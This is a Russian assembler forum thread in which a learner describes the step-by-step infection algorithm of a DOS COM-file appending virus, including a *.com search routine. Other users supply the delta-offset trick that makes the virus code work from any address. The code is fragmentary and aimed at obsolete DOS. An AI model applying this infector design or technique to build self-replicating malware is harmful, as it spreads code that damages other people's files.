Алгоритм работы com-вируса.

Тема в разделе "WASM.ASSEMBLER", создана пользователем _mm_, 16 май 2011.

  1. _mm_

    _mm_ New Member

    Публикаций:
    0
    Регистрация:
    28 дек 2010
    Сообщения:
    45
    Всем добрый день.
    Что-то делаю не так, но не знаю что.
    Исходные данные: в процессе обучения захотел написать простой com-вирус по собственному алгоритму, а именно собирая новый файл не в сегменте видеопамяти (и тем более не в новом сегменте), а поэтапно перебрасывая кусочки кода в память позади программы.

    Алгоритм:
    1. Заражённая программа запускается, в первых трёх байтах передаётся управление вирусу в хвосте.
    2. Вирус восстанавливает первые три оригинальные байта программы.
    3. Производит действия:
    3.1. Ищет файлы по маске.
    3.2. Выделяет область DTA в памяти позади файла.
    3.3. За областью DTA в памяти загружает тело неинфицированного файла.
    3.4. Первые три байта неинфицированного файла переносит в его хвост.
    3.5. Заменяет первые три байта на конструкцию jmp xx, где xx - адрес начала вируса.
    3.6. Копирует вирус после тела новой программы и сохранённых трёх байт (в нашей памяти это уже 100h + тело исходного файла + DTA + тело нового файла + 3 первых байта + тело вируса).
    3.7. Сохраняет прочитанный файл с новой длиной.
    3.8. Передаёт управление на адрес 100h, где три байта уже восстановлены.

    При отладке уже заражённой программы возникает проблема. Внутри нового файла прекрасно работают вызовы подпрограмм (хотя они-то находятся уже по новому адресу), но не работают конструкции типа

    Код (Text):
    1. mov dx,offset File_name
    И вообще метки - например File_name equ $

    А именно в конструкции

    Код (Text):
    1. Find_first proc                                 ;Подпрограмма поиска первого файла.
    2. mov ah,4Eh                                      ;Ищем первый файл по маске (функция 4Eh).
    3. xor cx,cx                                       ;Атрибуты обычные. Смотрим, что в CX.
    4. mov dx,offset File_name                         ;Адрес маски в DS:DX
    5. int 21h                                         ;В DTA заносится имя найденного файла.
    6. ret
    7. File_name db '*.com',0                          ;Маска файла для заражения.
    8. Find_first endp
    сбивается адрес маски File_name db '*.com',0 на неопределённую длину. И на месте, например, маски файла, уже находится мусор.
    Понятно, что адресация в новом файле другая, но вызовы подпрограмм-то работают нормально.

    Полный код здесь не привожу, так как у меня отдельно написан вирус и отдельно программа-носитель, внедряющая его в заранее известный файл (и известные первые три байта). Не потому, что люблю сложности, а так исторически сложилось.

    Что делаю не так?
     
  2. FatMoon

    FatMoon New Member

    Публикаций:
    0
    Регистрация:
    28 ноя 2002
    Сообщения:
    954
    Адрес:
    Russia
    дык вирус-то в хвосте? А хвост - штука непредсказуемая, то длиннее, то короче. Надо делать как-то так:

    Код (Text):
    1. call $+3    ;то есть переход на следующую команду с убиранием текущего адреса в стек (сохранится адрес команды pop dx)
    2. pop dx      ;извлекаем его
    3. add dx, 7   ;и добавляем 7 байт - длина нашего всего от pop dx до ret, включительно
    4. int 21h     ;в dx - правильный адрес строки
    5. ret
    6. db '*.com',0
    Как я вычислил 7 байт? по машкодам. По хорошему, надо вычислять путем операций с $ и именами меток и строк - но суть должна быть понятна.
     
  3. dinoweb

    dinoweb Дмитрий

    Публикаций:
    0
    Регистрация:
    12 окт 2005
    Сообщения:
    129
    Адрес:
    Россия. Красноярск
    Это объясняется просто - инструкции вызова подпрограмм используют не абсолютный адрес, а адрес относительно текущего IP. А инструкции типа mov dx, offset File_name используют абсолютный адрес (внутри сегмента).

    Поэтому нужно либо корректировать адреса как в примере FatMoon, либо менять сегмент на время работы вируса.
     
  4. _mm_

    _mm_ New Member

    Публикаций:
    0
    Регистрация:
    28 дек 2010
    Сообщения:
    45
    Огромное спасибо! Это я и предчувствовал... Жаль только, что все метки придётся таким образом рассчитывать.
    Насчёт сегмента как раз понятно, но мы не ищем лёгких путей... )